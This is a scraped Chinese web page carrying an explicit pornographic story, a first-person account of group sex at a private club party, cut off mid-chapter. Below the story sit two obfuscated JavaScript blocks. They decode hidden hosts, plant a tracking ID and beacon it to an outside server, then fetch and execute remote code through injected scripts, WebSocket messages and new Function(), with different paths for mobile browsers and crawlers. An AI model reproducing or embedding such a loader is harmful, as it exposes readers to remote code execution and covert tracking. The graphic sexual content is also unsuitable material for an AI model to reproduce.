进了一个卫生间,看到里面有一对男女正在洗澡,我放下了衣服,并没有要退出的意思,说实话我也懒得再去找另外一间了,谁知道另外一间会不会也有人在用呢!正在洗澡的那两个人也并没有因为我的到来而显得不好意思。也许这里的人与人之间根本没有什么隐私的概念吧!我这么想着。

拿出了一支烟,点燃。坐在了一旁的椅子上,透过我口中吐出的烟雾和水蒸汽注视着眼前的这对男女,很显然他们也是刚刚云雨过后,此刻正在旁若无人的调笑着,享受着鸳鸯戏水的快乐。

女人二十七、八岁的样子,五官很清秀,身材很好,皮肤也很白皙,只是双乳略微有些下垂,好在小腹还算是平坦,下体的毛发稀疏得刚好能够盖住那条深沟,臀部很丰满,微有些上翘。

身旁的那个男人身材也很健硕,胯下的那根儿东西软软的当啷在那儿,好长啊,阴毛很浓密。不知道那个“黄”在一开始挑选俱乐部成员的时候,是不是就有着很高的标准呢?怎么这里的女人的身材和容貌都很不错呢?男人亦是如此。

看来他着实是下了一番工夫啊!不过我喜欢,宁缺毋滥嘛!不知道在他眼中会给我打几分呢?

正想着,面前的那个女人已经先洗完了,正在擦拭着身体,歪着头冲着我笑了一下︰“你好,我是cally。你是第一次来吧,以前没见过你啊!”

“你好,我是vivian。你的皮肤真好,怎么保养的啊?”我回答着。

她也同样没有回答我的问题,而是笑着说︰“你刚才的叫声好吓人啊,我和richard在门外看了你们大半天呢,怎么看也没觉出你像是第一次来的样子,呵呵……”

“哦,我怎么根本没看到你们啊!”

“也许是你太投入了吧,不过那个“黄部长”真的很会讨女人喜欢的哦!”

“哦?”

这时候,那个richard大声的对我说︰“vivian,你要不要一起洗啊?”

不知道他是不是听到了我和cally的谈话,还是刚才在楼下介绍的时候就记住了我的名字。

我看了cally一眼,她笑着冲我努了努嘴。我扔掉没抽完的半截烟蒂,向richard走了过去,居然没有丝毫不好意思的感觉,反到觉得很自然,反之,倒显得不正常了。

“你好啊,richard。”说着,我们相互吻了一下,只轻轻触碰了一下嘴唇,双方都显得是那么的自然。都不知道我怎么会这么快的就变成了现在这样,感觉自己已经真的是融入了这个大家庭里。不过,我很喜欢这里的气氛,简单而直接,除了不能表明自己真实的身份以外,人与人之间没有丝毫的伪装与做作……

说话间,richard为我让出了喷头,做了一个请的手势。我没谦让,自顾自的站到了哗哗流出的热水下,任其冲刷着留在我身上的那些痕迹。

“哦,好舒服啊!”我说。

“需不需要我帮忙啊?”richard站在一边,看着我问道。

“好啊!谢谢。”

richard将浴液到在了手心里,柔缓而均匀的涂抹在了我的每一寸肌肤上。从身后用双手抓住了我的乳房,和着浴液揉搓了起来,滑腻腻的感觉。

半软不硬的阳具在我的臀部上乱蹭,搞得我心里痒痒的。我不禁回手向他的下体煽了一把,刚好碰在了龟头上,他急速的向后缩了一下身,口中︰“哦、哦”的叫了两声。

我回头看了他一眼,他正在用手揉着阳具,脸上一副怪怪的表情看着我,很滑稽。逗得我“咯咯咯”的笑了起来。

不知道什么时候,cally已经出去了。

“真的很痛么?sorry。用不用我帮你揉揉啊?”我忍不住还在笑着问了一句。

“没关系的,不过你下手好重啊!”

不由分说,我蹲下身,一口就把他的阳具含在了口中舔弄起来。抬眼直勾勾的盯着他,也不去管那些还遍部我全身的浴液了,就让它们多滋润一会儿我的肌肤吧。

软软的阳具被我含在嘴里,就像是含着一根将要融化掉的雪糕。唯一的区别就是雪糕是凉的,而且会一直凉到胃里,可含着阳具就不同了,它是热热的,不仅可以随意的改变它弯曲的程度而不必担心会折断,还会有一种灼热的感觉传遍全身的每一个角落,最后在阴道里汇集……

撸弄着龟头外的包皮,一下一下的将整根送入口中,感受着龟头抵住我喉部的压迫感,richard双手抚摩着我的头发,口中因舒爽而发出了呻吟声。渐渐的,我口中的阳具有些硬了,粗涨起来,我已经不能够连根吞下了。

“哦,你的好长啊!”我含混不清的嘟囔着。即便是要说话时我也舍不得将那根可爱的阳具吐出来,看着richard脸上的表情,心底不禁涌起了一种满足感。

我更加疯狂地动作着,放开了握住阳具的两只手,扶在他的臀部上紧紧地抓住,十个手指深陷进了肉里,前后摆动着richard的身体,头部也加大了运动的幅度,我每次都紧紧地浅含住龟头然后就迅速吐出,再含住,再吐出……让嘴唇紧紧的摩擦着龟头,舌尖不断搔弄着马眼处。偶尔的也会深深的吞一下,让龟头顶一下我喉咙深处,用舌根部和口腔深处的肌肉挤压住整个龟头,我喜欢这种吞吐着阳具的感觉。

不过,richard的阳具实在是很长,即便是顶到最深处,也有一小截会露在外面。

哦~~我感觉到了richard的龟头有节奏的跳动了几下,也粗涨了一些,知道他要爆发了,我可不想让他射在我嘴里。就吐出阳具,缓缓的站起身,由于蹲的时间有些长,双腿有点麻了,甚至感觉出刚才涂抹在身上的浴液竟变得干涩涩的,结成了一层硬皮。

为了不想让richard觉出我会在如此关键的时刻停止了动作的真正原因,就对他谎称自己蹲的时间太长了,腿脚都麻木了。

不过,这也是实情啊!

richard表示了理解,还问我要不要坐一下。

我看着他那勃起的高高的阳具,知道我一但坐下后,他一定会要求我继续完成刚才剩下的步骤。我可不想在这里浪费掉多余的精力,因为心里还在惦记着那张充满着诱惑的大床呢!

我对他摇了摇头,就手扶着墙,闭上了眼睛,让热水冲刷着自己……

此时的richard却蹲在我的身后,扒开了我的两片臀肉,舔起了我的肛门,当他的舌尖刚一触及我肛门外部的褶皱时,我禁不住全身一麻,腿一软,险些坐倒在地上。伸手推开了他,充满歉意的说︰“亲爱的,我还想再多洗一会儿……你找个地方等我一下,好么?”

richard有些不舍的说了句︰“ok,我等你。”就转身走了出去。

看着他离去的背影,想到他那绷得直挺挺的阳具,我真觉得自己多少有些残忍。

我取下水龙头,拿在手里,仔细的让水柱冲刷着阴唇,回味着刚刚“黄”在床上带给我的那腾云驾雾般的快感……

我洗好后,擦净了身体,略微犹豫了一下就从壁柜里取出了一件睡衣,穿在了身上,里面连内衣都没穿。不禁想起了和“玫”洗澡时她对我说的那句话……

(10)

刚一转出卫生间的门,不禁被眼前的景像惊呆了。richard竟然和两个女人在走廊的地上就……

richard躺在了地上,一个女人撅着屁股在用嘴吞吐着他的阳具,还渍渍有声,另一个女人干脆跨坐在他的头上,整个的阴部呈现在他眼前,richard舔舐着那个女人的阴部。看来richard是截住了两个要去洗澡的女人,就地干了起来。看到了我,richard还唧唧咕咕的嘟囔了句什么,也没听清。对他笑了一下,就径直走向了那间大屋……

一进了屋子,我的惊讶不亚于刚才看到richard时的那个。整间屋子里,床上,地下,到处都是随意乱扔的衣服鞋子和赤裸的男女,满屋都是“咿咿呀呀”淫荡的叫声,根本不能用一对儿,一对儿的来形容了,不是三、四个,就是四、五个男男女女的滚在了一起,甚至还有更多的。

看得我是脸红心跳,下体潮湿。最让我吃惊的是︰居然还有女人和女人在接吻,或互舔着阴部的。我的第一个反应就是︰怎么还有同性恋啊!?……

我下意识的在寻找着“玫”,还好,看到了她还在那张床上,就像见到了久别的亲人那样高兴,三步并做两步的奔了过去,奔向了那张洒满了月光的大床,也不管脚下究竟踩到了什么。

我一脚跨上了床,喊了一声“玫”,话一出口我就知道犯了个错误,怎么可以叫出她的名字来呢?就又补了一声“amy”。不过好在没有什么人注意,都在各自忙碌着。

“玫”正在一个卷发的男人身下,那个男人也在专注的抽动着。“玫”听到我的声音,睁开了那双如丝的媚眼,口中还呻吟着断断续续的对我说︰“哦……你来了……哦……啊……怎么样啊……啊……啊……还好么,哦……哦……”举起一只手伸向了我,被我伸手握住了,合衣靠在了她身边。

我这才看清了床上的一切。床上一共有两男四女,现在加上了我是五个女人了,即便是这样,整张床还空下了好大的一块地方,除了“玫”和在她身上动作着的这个人外,余下的四个人紧紧的滚在了一起。

之所以说他们滚在一起,真的是一点都不过分,那个男人正在把一个女人几乎是倒立在了床上,让那个女人仅仅用头部和脖子还有手肘的力量支撑着全身的重量,双脚高高的举在半空,而男人则跪在床上低着头舔舐着这个女人的阴部。

在那个男人的胯下,则有另外的一个女人用舌尖刺激着男人的龟头,一只手还快速的上下套弄着,另一手伸进了自己的阴道抽插着。

剩下的那个女人最过分,她跨坐在了那个几乎倒立着的女人的嘴上,让阴部摩擦着身下的女人的整个的面部,还不时的舔几下倒立着的女人扬在空中的雪白的大腿,一只手揉搓着自己的乳房,另一只手居然插进了舔舐男人阳具的那个女人的肛门里,抽动着。

哦!这是怎样的一个场面啊!在梦中都难以见到的场景,居然活生生的展现在了我的眼前。

受到眼前的这番景像的刺激,我的下身有些潮湿了,我不禁解开了睡衣的腰带,露出了整个的躯体,任由它暴露在空气中,暴露在皎洁的月光下……

那个在“玫”身上动作着的卷发的男人,看到了我裸露的身躯,色迷迷的盯着我看,我也直勾勾的看着他。为了进一步的诱惑他,我的手在自己的全身上下肆意的抚摩着,伸出了中指轻轻的揉弄着自己的阴蒂,刚刚洗过的还带有一些潮湿的一只脚伸了过去,摩挲着他的大腿,极尽媚态。

在这里,所有的语言都是多余的,根本没有人介意你叫什么名字,是什么身份,来自哪里。唯一需要的只是性器的交流,一个动作,一个眼神,足已。

这时,又有一对男女爬上了床来,那个男人看了看我,似乎觉得我是被冷落了,爬到了我身边,连一句话都没有说,就直接的趴到了我的胯下,分开我的双腿和并不很浓密的阴毛,欲亲吻我的阴部。

当我的阴部一览无余的展现在他面前的那一刻,他惊呆了,停止了一切的动作,注视着那里,仔细的欣赏着我胯下的美丽春色。我清楚的听到从他喉咙深处发出了“哦”的一声,虽然很短暂,可我却听得很真切。我知道,又多了一个为我美丽的阴部而倾倒的男人!我喜欢这样的感觉!真的,好喜欢。……

我看着胯下的这个男人,一张多么英俊的面孔啊!只是肩膀略有些窄,由于他是趴着撅在那里的,致使我看不到他的前面,只看到了他背部的肌肉和臀部的线条,还有那个只露出了一小半儿的臀沟,向后延伸着,引得我一阵遐想……

片刻的静止后,他对我的整个外阴部,开始了一种疾风骤雨般亲吻,近乎疯狂的将嘴唇印了上去,没有放过任何一个地方。大阴唇,小阴唇,会阴,阴蒂,阴道口……

面对这突如其来的刺激,禁不住地全身乱扭,一阵颤抖。

狂吻之后,紧接着又是一阵狂吻。这次,与其说是狂吻不如说是一阵猛啜,他的嘴里发出“吧,吧,吧”的响声。随着他双唇的节奏,我的阴唇也是一阵阵的颤抖,极端的震颤在我的阴道里蔓延着,大量的爱液涌了出来……

他伸出舌头,把它们全部的舔了干净。就势,用他的舌头展开了新一轮的攻击。我屈起了双腿,脚踩在了他的肩膀上,以使我的下身全部的打开,好能尽情的享受他舌尖带给我的快感……

而刚爬上来的那个女人,趴在这个男人的身后,似乎是在舔着这个男人的肛门,从她手臂的动作看,一定是在套弄着这个男人的阳具。不去管她了,我要充分的享受这欢愉的时刻。

他把我的两片大阴唇一起含在口中,贪婪的吮吸着,用牙齿轻轻的咬咯着。我的目光在整个的房间里胡乱的游移着,感觉乳房胀得有些难受,乳头也硬硬的挺立起来,好想能再有个男人好好的爱抚一下它们啊!

我正在这样的想着,胯下的那个男人却突然的停止了动作,松开了含在他嘴里的阴唇,略微的扬起了头,看着我,说了一句︰“你好,我是tony。”就又低下头继续的舔弄起来。

说得我都有些愣住了,等我刚明白过来是怎么一回事的时候,忍不住呵呵呵呵的大笑了起来,怎么会有这样的人,居然会在这个时候还不忘介绍自己,此时此刻又有哪个女人会关心你是谁呢,而唯一关心的只是你是否能够带给我快感。

当我正在呵呵的笑着的时候,tony的舌尖突然伸进了我的阴道里,狂乱的搅动起来。阴道内不由自主的一阵急切的收缩着,不得不忍住了笑,“唔……唔……”呻吟起来,我紧绷的双脚夹住了tony的头部,使得他的嘴更能贴近我的阴部,好让他舔得再深一些……

……

而此时,“玫”却在我的身边大声的呻吟着,左右摇晃着脑袋,猛的蹬开了那个阳具还插在她体内的男人,绷直的全身都在不停的抖动着,双手紧紧的抓住了身下的床单……我知道她一定是高潮了。

我看了一眼那个男人的还戴着保险套的阳具,直挺挺的还没有射精,就冲他勾了勾手指。他摘下保险套扔到了一旁,爬了过来,左手撸弄着他自己的阳具,将龟头放到了我的一个乳房上,蹭着我的乳头,哦……麻痒痒的感觉传来,只觉得阴道里好像有无数只小虫子乱爬,痒得受不了了,全身的汗毛都竖了起来,被插入的渴望越发的强烈。

我只对这个男人说了句︰“摸摸我。”就一把抓过了他的阳具,塞进嘴里,疯狂的套弄着,舔弄着。而他的双手抓住了我的乳房用力的揉搓着,像是要捏扁它们。

胯下的tony的舌尖在我的阴道里灵巧的搅动着,引得我淫水连连,抽搐不止,而这个男人的双手在我的双乳上任意的肆虐着,压迫的我几欲窒息,我口中的阳具又是空前的粗涨硬挺,耳中听到的到处都淫乱的叫喊声,双眼所看到的更是一片淫糜的景像。

从未曾经历过如此刺激时刻的我,顿觉心脏已不能承载这激动不已的负荷。刹那间,忘记了周围的一切,竟不知道自己身在何处,全身的肌肤都变得异常的敏感,哪怕只是轻微的触碰都能引发我不曾间歇的颤栗,我失去了知觉……

也不知过了多久,我睁开双目,眼前的情景逐渐变得清晰,淫糜的景像又重现在我面前,身上一大片滑腻腻、黏煳煳的东西,我伸手一摸,哦,那是一片混合着我汗水的精液,白白的颜色。脸上、乳房上到处都是,嘴角上还沾了一些,伸手取过了纸巾擦干净,我舔了几下舌头,还好,嘴里似乎没有……

整个的别墅里的每一个房间里,到处都是触手可及的纸巾与保险套,“黄”的细心与精明由此可见一斑……

又是一阵酥痒的感觉从阴道中传来,我低头一看,原来tony还在我胯下用心的舔舐着,我不禁惊叹于他竟然对我的阴部有着如此浓厚的兴趣与耐心,而tony身后的那个女人也依然忘我的重复着原先的动作。

好奇心的驱使,我也摆了一个和tony一样的姿势,跪在了床上,把臀部撅了起来,阴部和臀部完全大开,正对着tony。

侧头一看,“玫”已经不知道到哪儿快活去了。低下了头,从我的身体下方向后看去,果然那个女人在套弄着tony坚挺的阳具,另外的一只手揉搓着他的肉球。我趴下身去,晃动着身体,任由床单摩擦着我硬硬的乳头,好舒服啊!

“哦……”tony也开始轻轻舔舐着我的肛门,舌尖一点一点的触碰着,勾动着我裸露在外的褶皱与小洞洞,麻飕飕的。

它绝对不同于阴部的感受,我甚至能觉察出阴道内似乎停止了爱液的分泌,不再收缩,而是本能的用力,尽可能的把阴道和肛门向外张开,尽量大面积的去感受他的舌尖所能带来的愉悦。

肛门外娇嫩的神经一下下的将这种麻飕飕的感受传向大脑中枢,刺激着我,居然有种要大便般冲动的感觉,疯狂的扭动着臀部。

tony停止了对我肛门的刺激,转而躺下身体,从我身体的下方,也就是胯下向上钻了过来。

我抬了抬上身,好方便他的动作,他停在了我的胸部,舔弄揉搓起我的乳房来,时而轻吸慢舔,时而狠咬猛揉,时而狂捏暴揪,弄得我的阴道又是一阵紧密的收缩蠕动,开始大量的分泌爱液,臀部开始疯狂的扭动。我也不断的让阴毛蹭着他的龟头,让爱液涂满他的阳具与腹部。

此时,也不知道是谁爬了过来,舔弄着我的阴部与肛门,我没有在意,也无暇顾及,只是尽情的享受这美妙的时刻……

慢慢的我感觉出了略有些不同,阴部和肛门上的那个灵巧的小舌头,似乎知道我想要的是什么,我刚一觉出哪里有些痒得难受,那个灵巧的小舌尖就马上伸向了哪里,为我解痒解麻,每每如此。

我不禁暗叹起了身后的这个男人,他的舌功是如此的卓越,如此的神奇,总能让我不能自己。正当我的肛门与阴道的肌肉都正在用力的向外张开的时候,两根沾满我爱液的手指一下子就分别插进了我的肛门和阴道里,没有丝毫的预兆,没有丝毫的停顿,而是一下到底。

“啊……啊……”我夹紧了双腿,抱住了tony的头,乳房压在了他的脸上,用尽了全身的力气向后撅着,享受着这个突如其来的极度欢快的刺激,阴道紧紧的收缩着痉挛着夹紧了那根手指,生怕它会离开……而肛门内的那根手指也被我颤抖着的直肠壁紧紧的包围着,一股电流沿着肛门口飞快的窜到直肠内,然后是腰部,嵴背,脖颈,迅速的在大脑中爆裂开来,又急速的传遍全身四肢百骇的每一个角角落落……

我咬住了tony的一大撮头发,也不管他是否会感到疼痛,我抑制不住的流下了眼泪。全身长久而猛烈的震颤,汗毛孔全部张开了,鸡皮疙瘩满身都是,超负荷的心脏再一次的停止了跳动。

眩晕——眩晕,震颤——震颤,痉挛——痉挛,一种完全无法用语言来描述的强烈感受,痛苦的似要将我全部撕碎,快乐的似要将我全身吞噬。没有任何一种快乐能够与它相比,也没有任何一种痛苦能比它更刺激。

那一刻,我不再需要唿吸,也不再需要心脏的跳动。四周围的一切都不复存在了,没有一丝的光亮,彷佛置身于广阔的银河浩瀚的宇宙,没有一点声音,而唯一能够听到的,就是我血液流动的声音……

这种极度强烈的快感,持续了大约有十几秒钟,我依然保持着原来撅着的姿势,瘫软在tony的身上,他还含着我的乳头吮吸着。

我无力地扭了一下头,欲看一眼刚刚的那个,带给了从未有过的高潮感受的那个男人。

却没料到这一看,把我惊得跳了起来,都顾不上tony的牙齿剐蹭我乳头的疼痛感,“哦!”的惊叫着张大了嘴巴说不出话来。

(十一)

眼前的这个人分明的就是‘玫’,看着她闪着亮光的沾满爱液的手指,我更加的确信了我的判断,怎么会是……怎么可能是她……虽然在来之前我就想到过这里会是一个淫乱的场所,可怎么也不会想到居然会淫乱到如此的程度,‘同性恋’这几个字我怎么也无法和‘玫’联系到一起,我认识她已经有十几年了,没有一丝一毫的迹象显示着她会是个……

我随手抄起了一件衣服披在了身上,抓住了‘玫’的手跳下了床就向外跑,根本就没有心思去理会tony脸上的那不亚于我的惊疑的表情和那硬挺着的阳具。我拉着赤身裸体的‘玫’一路的小跑,好容易才在二楼找到了一间没有人的房间,不容分说的把她推了进去。

“从什么时候开始的?!”我噼头盖脸的就是一句。

“你生气了?也没多久,也就是


上一篇:最近上的北京良家

下一篇:艳遇靓女洗澡


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};